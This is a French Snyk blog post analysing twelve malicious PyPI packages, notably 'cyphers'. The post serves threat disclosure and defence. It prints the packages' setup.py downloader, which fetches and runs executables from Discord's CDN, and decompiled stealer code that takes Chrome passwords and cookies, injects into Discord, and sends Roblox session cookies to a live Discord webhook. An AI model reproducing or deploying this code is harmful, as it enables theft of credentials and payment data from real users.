Skip to main content

Snyk détecte le malware PyPi, qui dérobe les identifiants et informations de paiement sur Discord et Roblox

Écrit par:

Kyle Suero

wordpress-sync/blog-hero-pypi-malware-discord

16 août 2022

0 minutes de lecture

Les chercheurs en sécurité de Snyk gardent à l’œil en permanence les écosystèmes open source pour repérer les paquets malveillants. Pour y parvenir, ils font appel à des techniques d’analyse statique permettant d’identifier et de marquer ces paquets. Chaque paquet malveillant est identifié lors de sa publication dans le gestionnaire de paquets et ajouté rapidement à la base de données des vulnérabilités de Snyk. Au cours d’une étude récente, notre équipe a détecté 12 malwares uniques appartenant au même acteur. Ces paquets tentaient d’infiltrer des machines Windows et d’exécuter des fichiers malveillants téléchargés depuis le CDN de Discord, une application de chat en ligne très populaire, sans se faire repérer.

Ils utilisaient PyInstaller pour regrouper une application malveillante et ses dépendances dans un seul et même paquet. L’intérêt de PyInstaller était double : empêcher la détection en regroupant les dépendances plutôt que de les télécharger depuis un serveur distant et fournir un exécutable pouvant être lancé sans passer par un interpréteur.

Ce malware cible les données stockées dans les applications du quotidien. Lors de son exécution, il tente ainsi de mettre la main sur les données de Google Chrome (mots de passe, cookies, historique Web, historique de recherche et signets). Ces données sont souvent ciblées par les acteurs malveillants, car ils peuvent ensuite les utiliser pour tester vos autres comptes à l’aide des identifiants obtenus.

Discord, une application de chat très utilisée, est aussi la cible des hackers. Le malware exfiltre les jetons Discord et injecte un agent malveillant persistant dans son processus. Ce code malveillant, appelé injecteur Discord, peut relayer une quantité impressionnante d’informations à l’attaquant. Il va non seulement récupérer vos identifiants, mais aussi vos informations de carte bancaire si vous les saisissez après le chargement de l’injecteur.

Autre point d’intérêt en lien avec ce malware : il utilise les ressources de Discord pour distribuer ses exécutables. Bien que cette pratique ne soit pas nouvelle, le fait de voir l’adresse cdn.discord.com a intrigué nos chercheurs. Les fichiers binaires sont téléchargés sur l’hôte depuis le CDN de Discord.

À titre d’exemple, nous allons nous intéresser au paquet cyphers et analyser en détail sa structure et ses modes de fonctionnement. Ce malware se compose de deux fichiers exécutables :

  1. ZYXMN.exe, chargé de récupérer les données confidentielles de Discord, et les identifiants et informations sensibles stockées dans le navigateur, mais aussi d’injecter le malware Discord dans l’application à proprement parler.

  2. ZYRBX.exe, chargé de voler les cookies et données utilisateur Roblox.

Présentation du paquet cyphers

Après avoir téléchargé le tarball du paquet et l’avoir extrait, nous avons constaté que le fichier setup.py présentait quelques particularités. Nous n’allons pas toutes les mentionner dans cet article pour rester concis.

1url = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368774335991898/ZYXMN.exe'
2url2 = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368773983682592/ZYRBX.exe'
3
4os.remove(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
5os.remove(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
6
7r = requests.get(url, allow_redirects=True)
8r2 = requests.get(url2, allow_redirects=True)
9open('ZYXMN.exe', 'wb').write(r.content)
10Path(r"ZYXMN.exe").rename(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
11open('ZYRBX.exe', 'wb').write(r2.content)  
12Path(r"ZYRBX.exe").rename(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
13os.remove('ZYRBX.exe')
14os.remove('ZYXMN.exe')
15
16os.startfile(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe") os.startfile(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
17
18shutil.rmtree(r"C:\$Windows.~SXK")

Il essaie de télécharger deux fichiers binaires, ZYXMN.exe et ZYRBX.exe, depuis un serveur du CDN de Discord, les fait passer pour des fichiers Windows aléatoires, puis finit par les exécuter. Une fois exécutés, ces fichiers sont supprimés pour effacer toute trace de leur passage.

Voyons ce que font ces fichiers.

ZYXMN.exe,

Après avoir exécuté les commandes binwalk et strings sur le fichier, nous nous sommes rendu compte qu’il avait été créé avec PyInstaller, une bibliothèque permettant de regrouper une application python entière, dépendances d’exécution incluses, dans un seul fichier exécutable sous le système d’exploitation cible.

Ces archives peuvent être extraites avec la commande extremecoders-re/pyinstxtractor. En listant les fichiers, nous avons repéré ZYXMN.pyc, un bytecode Python compilé, qui est le point d’entrée de l’application. En le décompilant avec rocky/python-uncompyle6, nous avons pu accéder aux secrets bien cachés du paquet malveillant.

main()

1def main() -> None:
2    webhook = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
3    pingmsg = 'soulcord run da wrld'
4    greenhillzone = {'content': f"@everyone {pingmsg}"}
5    requests.post(webhook, json=greenhillzone)
6    debug()
7    threads = []
8    for operation in (
9    discord, google, injection):
10        thread = Thread(target=operation, args=(webhook,))
11        thread.start()
12        threads.append(thread)
13    else:
14        for thread in threads:
15            thread.join()
16        else:
17            system(webhook)

La fonction main exécute trois « opérations » (threads) pensées chacune pour réaliser une partie distincte de la charge utile. Toutes reçoivent un argument de webhook permettant de communiquer les résultats de leur exécution. Nous pouvons voir que ce fichier s’exécute lui aussi sur une URL Discord (discord.com).

Google

1class google:   
2    def __init__(self, webhook: str) -> None:
3        webhook = Webhook.from_url(webhook, adapter=(RequestsWebhookAdapter()))
4        self.appdata = os.getenv('LOCALAPPDATA')
5        self.databases = {
6        self.appdata + '\\Google\\Chrome\\User Data\\Default',
7        self.appdata + '\\Google\\Chrome\\User Data\\Profile 1',
8        self.appdata + '\\Google\\Chrome\\User Data\\Profile 2',
9        self.appdata + '\\Google\\Chrome\\User Data\\Profile 3',
10        self.appdata + '\\Google\\Chrome\\User Data\\Profile 4',
11        self.appdata + '\\Google\\Chrome\\User Data\\Profile 5'}
12        self.masterkey = self.get_master_key(self.appdata + '\\Google\\Chrome\\User Data\\Local State')
13        self.files = [
14        '.\\nrozi3tvz1x7df3I-p.txt',
15        '.\\JN6Kq3DLrH6eJ8px-c.txt',
16        '.\\MVvztUI6Dyc1iHIB-wh.txt',
17        '.\\jDW68AZgMg9PUg1O-h.txt',
18        '.\\elr6GRUCz1eKhT0q-b.txt']
19        self.password()
20        self.cookies()
21        self.web_history()
22        self.search_history()
23        for file in self.files:
24            if not os.path.isfile(file):
25                pass
26            elif os.path.getsize(file) > 8000000:
27                pass
28            else:
29                webhook.send(file=(File(file)), username='Empyrean', avatar_url='https://i.imgur.com/HjzfjfR.png')
30        else:
31            for file in self.files:
32                if os.path.isfile(file):
33                    os.remove(file)

Le malware essaie de décrypter la clé maîtresse de Google Chrome, accède aux bases de données locales du navigateur et communique les données confidentielles suivantes de l’utilisateur :

  • Cookies

  • Historique Web

  • Historique des recherches

Injection

1def __init__(self, webhook: str):
2        self.appdata = os.getenv('LOCALAPPDATA')
3        self.discord_dirs = [
4        self.appdata + '\\Discord',
5        self.appdata + '\\DiscordCanary',
6        self.appdata + '\\DiscordPTB',
7        self.appdata + '\\DiscordDevelopment']
8        self.code = "\n\t\tconst _0x25b1bd=_0x16c5;..."
9        for dir in self.discord_dirs:
10            if not os.path.exists(dir):
11                pass
12            elif self.get_core(dir) is not None:
13                with open((self.get_core(dir)[0] + '\\index.js'), 'w', encoding='utf-8') as (f):
14                    f.write(self.code.replace('discord_desktop_core-1', self.get_core(dir)[1]).replace('%WEBHOOK%', webhook))
15                    self.start_discord(dir)

Ce code essaie de créer un fichier nommé index.js dans le répertoire discord_desktop_core et d’y placer le contenu de la propriété self.code avant d’exécuter l’application Discord. L’idée est de permettre l’exécution du script dans le contexte de l’application.

Après avoir extrait la chaîne dans un fichier et en avoir analysé le contenu, nous avons constaté qu’elle provenait du référentiel Rdimo/Discord-Injection qui contient un script malveillant pensé pour récupérer les données confidentielles des utilisateurs Discord.

ZYRBX.exe,

Nous avons suivi le même processus pour extraire le code source Python de ce fichier binaire. Le code malveillant exécute le bloc de code suivant dans différents types de navigateurs :

1url = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
2    site = 'roblox.com'
3    if site == 'roblox.com':
4        try:
5            cookiesall = browser_cookie3.edge(domain_name=site)
6            cookiesall = str(cookiesall)
7            roblosec = cookiesall.split('.ROBLOSECURITY=')[1].split(' for .roblox.com/>')[0].strip()
8            req = requests.Session()
9            req.cookies['.ROBLOSECURITY'] = roblosec
10            user = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserName']
11            ID = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserID']
12            robux = req.get('https://www.roblox.com/mobileapi/userinfo').json()['RobuxBalance']
13            Avatar = req.get('https://www.roblox.com/mobileapi/userinfo').json()['ThumbnailUrl']
14            prem = req.get('https://www.roblox.com/mobileapi/userinfo').json()['IsPremium']
15            embed = {'title':'Cookie Found',
16            'description':f"**Cookie Source:**\n\t\t\t\t\t\t<:edge:917804139860361216> Microsoft Edge\n\n\t\t\t\t\t\t**Cookie:**\n\t\t\t\t\t\t```{roblosec}```",
17            'color':0,
18            'thumbnail':{'url': Avatar}}
19            data = {'embeds': [embed]}
20            requests.post(url, json=data)
21            embed2 = {'title':'Cookie Information',
22            'description':f"**Username:** ``{user}``\n\t\t\t\t\t\t**Robux Balance:** ``{robux}``\n\t\t\t\t\t\t**User ID:** ``{ID}``\n\t\t\t\t\t\t**Premium:** ``{prem}``\n\t\t\t\t\t\t**Profile Link:** ``https://www.roblox.com/users/{ID}/profile``",
23            'color':0,
24            'thumbnail':{'url': Avatar}}
25            data2 = {'embeds': [embed2]}
26            requests.post(url, json=data2)

Ce bloc dérobe le cookie .ROBLOSECURITY de la plateforme de jeu en ligne « Roblox » et l’envoie à un webhook Discord, accompagné d’informations sur l’utilisateur : nom d’utilisateur, ID, solde de Robux (devise utilisée sur la plateforme), miniature et statut Premium. Il essaiera de réaliser cette opération pour les navigateurs Microsoft Edge, Google Chrome, Chromium, Firefox et Opera.

Récapitulatif des résultats

Au total, nous avons identifié 12 paquets malveillants issus du même acteur :

Nom du paquet

Version

Description

Fichier exécutable malveillant

Date de mise en ligne

hackerfilelol

0.0.1

This is pro hacker module\\n\\ngang

\*Main.exe

31 juillet 2022 à 16 h 23

hackerfileloll

0.0.1

This is pro hacker module\\n\\ngang

\*Main.exe

31 juillet 2022 à 16 h 27

stealthpy

0.0.1

gang

ZYXM.exe, ZYRBX.exe

31 juillet 2022 à 18 h 32

plutos

0.0.1

Un module de base utilisé pour gérer plusieurs threads à la fois de manière beaucoup plus efficace. Si vous avez besoin d’aide avec le module, contactez nous.

ZYXM.exe, ZYRBX.exe

31 juillet 2022 à 21 h 01

testpipper

0.0.1

Un module de base utilisé pour gérer plusieurs threads à la fois de manière beaucoup plus efficace. Si vous avez besoin d’aide avec le module, contactez nous.

ZYXM.exe, ZYRBX.exe

1 août 2022 à 11 h 27

testpipperz

0.0.1

Un module de base utilisé pour gérer plusieurs threads à la fois de manière beaucoup plus efficace. Si vous avez besoin d’aide avec le module, contactez nous.

ZYXM.exe, ZYRBX.exe

1 août 2022 à 11 h 33

pippytest

0.0.1

Un module de base utilisé pour gérer plusieurs threads à la fois de manière beaucoup plus efficace. Si vous avez besoin d’aide avec le module, contactez nous.

ZYXM.exe, ZYRBX.exe

1 août 2022 à 11 h 35

pippytests

0.0.1

Un module de base utilisé pour gérer plusieurs threads à la fois de manière beaucoup plus efficace.

ZYXM.exe, ZYRBX.exe

1 août 2022 à 12 h 16

cyphers

0.0.1

Un module de base utilisé pour gérer plusieurs threads à la fois de manière beaucoup plus efficace. Si vous avez besoin d’aide avec le module, contactez nous.

ZYXM.exe, ZYRBX.exe

1 août 2022 à 12 h 27

rblxtools

0.0.1

Un module de base pour utiliser une variété d'outils roblox beaucoup plus facilement, principalement basé sur la requests library. Si vous avez besoin d’aide avec le module, contactez nous.

ZYXM.exe, ZYRBX.exe

1 août 2022 à 19 h 14

rbxtools

0.0.1

Un module de base pour utiliser une variété d'outils roblox beaucoup plus facilement, principalement basé sur la requests library. Si vous avez besoin d’aide avec le module, contactez nous.

ZYXM.exe, ZYRBX.exe

1 août 2022 à 19 h 22

rbxtool

0.0.1

Un module de base pour utiliser une variété d'outils roblox beaucoup plus facilement, principalement basé sur la requests library. Si vous avez besoin d’aide avec le module, contactez nous.

\*Main.exe - identique à ZYXMN.exe

ZYXM.exe, ZYRBX.exe

1 août 2022 à 19 h 26

L’équipe de recherche en sécurité de Snyk fait appel à des techniques sophistiquées pour repérer et surveiller les activités suspectes au sein de divers écosystèmes de paquets. Nous faisons de notre mieux pour informer les responsables des paquets, la communauté et nos utilisateurs aussi rapidement que possible. Nous pensons que cette mission joue un rôle important dans la sécurisation des logiciels open source et la technologie en général.

Profitez de nos recherches de pointe en créant votre compte Snyk gratuitement dès aujourd’hui. Snyk s’appuie sur des informations stratégiques de premier ordre en matière de sécurité pour détecter des vulnérabilités dans les dépendances open source, le code propriétaire, les images de base et l’infrastructure cloud. Nous fournissons des conseils concrets (y compris des pull request de correction en un clic) pour vous aider à développer plus rapidement tout en assurant votre sécurité.

wordpress-sync/blog-hero-pypi-malware-discord

Vous voulez l’essayer par vous-même ?

500 devs to 1 security professional is the reality of today. The security pro’s role must transform into an aware, knowledgeable, supportive partner capable of empowering developers to make security decisions.